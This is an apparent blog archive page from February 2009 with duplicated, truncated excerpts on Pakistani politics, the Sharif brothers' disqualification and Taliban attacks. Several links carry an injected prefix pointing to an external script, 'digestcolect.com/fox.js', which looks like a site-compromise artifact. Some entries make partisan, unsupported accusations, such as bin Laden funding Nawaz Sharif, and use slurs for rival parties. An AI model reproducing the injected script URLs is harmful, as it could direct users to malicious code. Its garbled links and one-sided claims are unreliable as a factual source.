Monthly Archive:: February 2009

PML-N engaged in horse-trading in Punjab: PML-Q forward bloc to support PML-N: Maneka LAHORE: Pakistan Muslim League-Quaid (PML-Q) forward bloc leader Ata Maneka claimed on Friday the support of 35 members, and said all of them would support the Pakistan Muslim League-Nawaz unconditionally. Addressing the

PML-N engaged in horse-trading in Punjab: PML-Q forward bloc to support PML-N: Maneka LAHORE: Pakistan Muslim League-Quaid (PML-Q) forward bloc leader Ata Maneka claimed on Friday the support of 35 members, and said all of them would support the Pakistan Muslim League-Nawaz unconditionally. Addressing the

Moonis Elahi “should be” the next Chief Minister of Punjab…: Manipulations in full swing for top slot Nasir JamalSaturday, 28 Feb, 2009 | 05:22 AM PST | Former ruling party Pakistan Muslim League leader Chaudhry Shujaat Hussain (R) and Chaudhry Pervaiz Elahi.—Reuters/File LAHORE: Three days after imposition of the

Moonis Elahi "should be" the next Chief Minister of Punjab…: Manipulations in full swing for top slot Nasir JamalSaturday, 28 Feb, 2009 | 05:22 AM PST | Former ruling party Pakistan Muslim League leader Chaudhry Shujaat Hussain (R) and Chaudhry Pervaiz Elahi.—Reuters/File LAHORE: Three days after imposition of the

Yusuf Raza Gilani, Amjad Ali Chajra and the chrages of corruption – by Khalid Masud Khan: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.jang.com.pk/jang/feb2009-daily/28-02-2009/col6.htm …. PM promises uplift of Jalalpur Pirwala Later, the Prime Minister proceeded to the residence of Mian Amjad Ali Chajra at Manakwali village, some 10 kilometres away from Jalalpur Pirwala city, to express his heartfelt condolences to Amjad

Tlaiban kill shia school children in ambush in Hangu, Update 28 February 2009: Pakistani school children killed in ambush Fri, 27 Feb 2009 13:44:50 GMT Unidentified assailants have reportedly ambushed a van carrying Shia children to school in the troubled tribal region of northwest Pakistan. At least four students lost lives and

Taliban kill Shia school children in ambush in Hangu: Pakistani school children killed in ambush Fri, 27 Feb 2009 13:44:50 GMT Unidentified assailants have reportedly ambushed a van carrying Shia children to school in the troubled tribal region of northwest

Cruelty with dog in Peshawar. A specimen of moral character of PML-N: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Cruelty with dog in Peshawar. A specimen of moral character of PML-N: Is there any difference between the Taliban who draw pleasure from beheading innocent citizens in Swat and FATA and the PML-N /Jamaat-e-(Ghair) Islami and Imran Khan’s PTI (Pakistan Taliban-e-Insaf) workers who draw pleasure from torturing an innocent dog in

Ahmed Rashid: The Taliban has its own agenda for Pakistan: ‘An Appendage Of The Al Qaeda, The Taliban Now Has Its Own Agenda For Pakistan’ Ahmed Rashid, author of a book on the Taliban, tells HARINDER BAWEJA (of Tehleka.com) that even India needs to worry enormously How do you

Ahmed Rashid: The Taliban has its own agenda for Pakistan: ‘An Appendage Of The Al Qaeda, The Taliban Now Has Its Own Agenda For Pakistan’ Ahmed Rashid, author of a book on the Taliban, tells HARINDER BAWEJA (of Tehleka.com) that even India needs to worry enormously How do you

PPP protests against burning of Benazir, Zardari portraits: … PPP protests against burning of Benazir, Zardari portraits Friday, February 27, 2009 By By our correspondent HYDERABAD: Activists of the ruling Pakistan Peopleís Party (PPP) on Thursday took out rallies and staged demonstrations against the burning and disgracing

PPP protests against burning of Benazir, Zardari portraits: … PPP protests against burning of Benazir, Zardari portraits Friday, February 27, 2009 By By our correspondent HYDERABAD: Activists of the ruling Pakistan Peopleís Party (PPP) on Thursday took out rallies and staged demonstrations against the burning and disgracing

Lahore is the best – Funny pictures: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1044, click this link if you are not redirected

Nawaz Sharif invites his followers to mutiny in Pakistan. Strike call fails.: The PMLN’s policy of not recognising the “PCO Supreme Court” anticipated its decision to reject the verdict the Supreme Court reached Wednesday to disqualify the Sharif brothers. However, desperate to become the Prime Minister of Pakistan, Nawaz Sharif is

Nawaz Sharif invites his followers to mutiny in Pakistan. Strike call fails.: The PMLN’s policy of not recognising the “PCO Supreme Court” anticipated its decision to reject the verdict the Supreme Court reached Wednesday to disqualify the Sharif brothers. However, desperate to become the Prime Minister of Pakistan, Nawaz Sharif is

Hangu: Taliban attack a school van killing 3 Shia children, kidnapping 6 Shia children: Gunmen ambush Pakistan school minibus, 3 Shia students killed, 6 taken captive Jang Shia children injured in a previous bombing at the Bari Imam shrine in Islamabad. Photograph: AP 27 Feb 2009 update PESHAWAR, Pakistan (AFP) — Gunmen on

Hangu: Taliban attack a school van killing 3 Shia children, kidnap 6: Gunmen ambush Pakistan school minibus, 3 Shia students killed, 6 taken captive Shia children injured in a previous bombing at the Bari Imam shrine in Islamabad. Photograph: AP 27 Feb 2009 update PESHAWAR, Pakistan (AFP) — Gunmen on Friday

In appreciation of Shahbaz Sharif’s Danish Schools Project – Ataul Haq Qasmi: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1041, click this link if you are not redirected

In appreciation of Shahbaz Sharif’s Danish Schools Project – Ataul Haq Qasmi: Notwithstanding our political differences, this noble project deserves our full support.

Holbrooke: Only 5pc Afghan Taliban are hard-core militants: Only 5pc Afghan Taliban are hard-core militants: Holbrooke By Our CorrespondentThursday, 26 Feb, 2009 WASHINGTON, Feb 25: Only five per cent of the Taliban militants in Afghanistan are hard-core, others can be persuaded to abandon violence, says Richard Holbrooke,

Holbrooke: Only 5pc Afghan Taliban are hard-core militants: Only 5pc Afghan Taliban are hard-core militants: Holbrooke By Our Correspondent Thursday, 26 Feb, 2009 WASHINGTON, Feb 25: Only five per cent of the Taliban militants in Afghanistan are hard-core, others can be persuaded to abandon violence, says Richard

Allama Iqbal, Bacha Khan and terrorists – Suroosh Irfani: Iqbal, Bacha Khan and terrorists —Suroosh Irfani It might well be that the heartless war our homegrown jihadis and Afghan Taliban are waging against Pakistan exemplifies Islam’s dangerous inversion that Iqbal had warned against some three generations ago. Such

Allama Iqbal, Bacha Khan and terrorists – by Suroosh Irfani: It might well be that the heartless war our homegrown jihadis and Afghan Taliban are waging against Pakistan exemplifies Islam’s dangerous inversion that Iqbal had warned against some three generations ago. Such inversion has virtually displaced Bacha Khan and

Sharif brothers: Nov 25, 2007 — Feb 25, 2008 – Timed out?: “Not a single tear was shed” Not many protesters were visible in the streets of Lahore, Rawalpindi and other cities in Punjab. The Motorway party (PML-N) has its stronghold from Lahore to Rawalpindi but it seems that these ‘choori

Asha’ar Rehman: Punjab in a federation: Punjab in a federation By Asha’ar RehmanThursday, 26 Feb, 2009 A: “Today I have everything… government, power (?), backing of the global masters (??). You…What do you have?” B: “I have the people.” If it weren’t for the solemnity

Punjab in a federation – by Asha’ar Rehman: Punjab in a federation By Asha’ar Rehman Thursday, 26 Feb, 2009 A: “Today I have everything… government, power (?), backing of the global masters (??). You…What do you have?” B: “I have the people.” If it weren’t for the

Benazir Memorial desecrated by PMLN-JI-PTI thugs in Rawalpindi: Who killed Benazir Bhutto? Al Qaeda and their accomplices in the shape of Taliban and the ISI. Who funded Nawaz Sharif in 1980s and early 1990s: Osama bin Laden Who was the mentor and founding father of PML-N? General

Right wing alliance of PML-N, PTI and JI out in the open. Benazir Memorial desecrated in Rawalpindi…. Osama must be smiling.: Who killed Benazir Bhutto? Al Qaeda and their accomplices in the shape of Taliban and the ISI. Who funded Nawaz Sharif in 1980s and early 1990s: Osama bin Laden Who was the mentor and founding father of PML-N? General

Talibanisation of Pakistan? Hardliners, moderates, liberals and the state: Hardliners, moderates, liberals and the stateThursday, February 26, 2009Kamila Hyat It is a telling testimony to the plight of Pakistan that a man such as Maulana Sufi Muhammad Khan, who broke away from the Jamaat-e-Islami in 1989 to form

Talibanisation of Pakistan? Hardliners, moderates, liberals and the state: Hardliners, moderates, liberals and the stateThursday, February 26, 2009Kamila Hyat It is a telling testimony to the plight of Pakistan that a man such as Maulana Sufi Muhammad Khan, who broke away from the Jamaat-e-Islami in 1989 to form

Saeed Siddiqi laments a sectarian attack on a funeral in D.I. Khan: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1034, click this link if you are not redirected

Saeed Siddiqi laments a sectarian attack on a funeral in D.I. Khan: Saeed Siddiqi laments a sectarian attack by Taliban / Sipah-e-Sahaba

An analysis of Sharif brothers’ disqualification: EDITORIAL COMMENT | Double Trouble It’s a double whammy in India’s neighbourhood: A mutiny in Bangladesh and a judicial coup in Pakistan. Pakistan’s supreme court has upheld an order banning opposition leader Nawaz Sharif and his brother Shahbaz Sharif

An analysis of Sharif brothers’ disqualification: EDITORIAL COMMENT | Double Trouble It’s a double whammy in India’s neighbourhood: A mutiny in Bangladesh and a judicial coup in Pakistan. Pakistan’s supreme court has upheld an order banning opposition leader Nawaz Sharif and his

Supreme Court declares Sharif brothers ineligible: Pakistan court bars opposition chief from election ISLAMABAD (AP) — Pakistan’s Supreme Court has barred opposition leader Nawaz Sharif from elected office, a move likely to raise political tensions in the country. The decision deepens a rift between Sharif,